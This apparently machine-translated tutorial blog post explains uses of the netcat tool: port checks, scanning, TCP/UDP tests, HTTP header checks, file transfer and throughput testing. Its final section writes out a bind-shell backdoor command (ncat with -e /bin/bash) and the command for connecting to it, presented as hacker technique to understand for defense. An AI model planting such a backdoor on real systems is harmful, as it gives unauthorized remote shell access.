"Swiss Army Knife" -nc in network tools

Check whether the port is occupied

Remember when we were netstat How to check whether the port is occupied ？nc You can do things like that . It USES -l(listen) Parameters , Used to bind a specified port and listen for connections ：

	$ nc -l 6379
	nc: Address already in use

When you see Address already in use When , I know this port is occupied , Otherwise it will listen on this port . Of course, this role is my nonsense , But you can use .

Port scanning

For example, you need to scan a machine 21-30 Which ports are open ：

$ nc -n 127.0.0.1 -z 1230-1234 -v
nc: connect to 127.0.0.1 port 1230 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1231 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1232 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1233 (tcp) failed: Connection refused
Connection to 127.0.0.1 1234 port [tcp/*] succeeded!
among -n Direct use of ip Address , Instead of using a domain name ,-z Specify the port range ,-v Output details . As you can see from the results ,1234 Ports are connectable .

TCP/UDP Connect the test

When you're learning TCP Relevant content , Do you think about how to observe the state or data package in your own practice ？ Although I recommend myself to write one TCP The server side of the connection - Client program , But you can also use nc Order to complete , for example , Enter the following in a terminal ：

$ nc -l 1234
hello  Programming pearls 

Show in 1234 Port listening , Then you can connect at another terminal ;

$ nc 127.0.0.1 1234
hello  Programming pearls 

Connect to local address 1234 port , In the process, you can grab bags , analysis TCP Three handshakes .

besides , You can also send messages between established connections （ Simple chat function ）, Let you analyze more ！

By default , It creates TCP Connect , While using -u(UDP) Parameters can be tested UDP Connectivity .

$ nc -v -u 182.3.226.35 80
Connection to 182.3.226.35 80 port [udp/http] succeeded!

besides , There are also many parameters for debugging , for example ：
-b Allow broadcast messages
-D Turn on socket Debug mode
-d Reading from standard input is prohibited
-k After the client exits , Keep connected
-v Show details
Because in the following article will also use nc To illustrate , So I won't go into details here .

HTTP Connect the test

For example, view HTTP Header information ：

$ nc  www.baidu.com 80
HEAD / HTTP/1.1

HTTP/1.1 302 Found
Connection: Keep-Alive
Content-Length: 17931
Content-Type: text/html
Date: Sun, 23 Jun 2019 13:52:12 GMT
Etag: "54d9748e-460b"
Server: bfe/1.0.8.18

After connection , Input HEAD / HTTP/1.1 or HEAD / HTTP/1.0, Then enter two carriage returns , You can see web Server related information .

The data transfer

Or use the connection from the front , With the help of redirection, you can transfer files , For example, server monitoring , And output the content to out.txt：

$ nc -l 1234 > out.txt

And the client connection ：

$ nc 127.0.0.1 1234 < in.txt

So the client in.txt The content of , It will be transmitted to out.txt
Yes, of course , For file transfer ,scp Command can do it better . If you have no other way , You can try nc.

Network testing

As mentioned above, we can pass nc To transmit data , Similarly, if we want to test the network speed between two hosts （ Of course you can use iperf Tools to do the job ）,nc It's something we can help with ：

# Server monitoring ：

$ nc -vl 1234 >/dev/null

Which redirects to /dev/null, It means to discard the data .

And then on another host :

$ dd if=/dev/zero bs=1M count=10 |nc -vn 127.0.0.1 1234
Connection to 127.0.0.1 1234 port [tcp/*] succeeded!
10+0 records in
10+0 records out
10485760 bytes (10 MB, 10 MiB) copied, 0.0333675 s, 314 MB/s

dd Copy the data , From here /dev/zero Copy the data 0, And once 1M, Copy 10 Time , Finally through nc The command is sent to the server . After the end , You can see the statistics .

Create a back door

nc Commands can also be used to create backdoors in the system , And it's a technology that hackers use a lot . To protect our system , We need to know how it works . The command to create a backdoor is ：

 $ ncat -l 10000 -e /bin/bash

-e The logo will be a bash And port 10000 Connected to a . Now the client only needs to connect to the server 10000 The port can go through bash Get full access to our system ：

$ ncat 192.168.1.100 10000

summary

nc The command is short and concise , But it can help us in many ways , for example ：
Port scanning
Connect the test
TCP/UDP The server client listens and connects
Network testing
Create a back door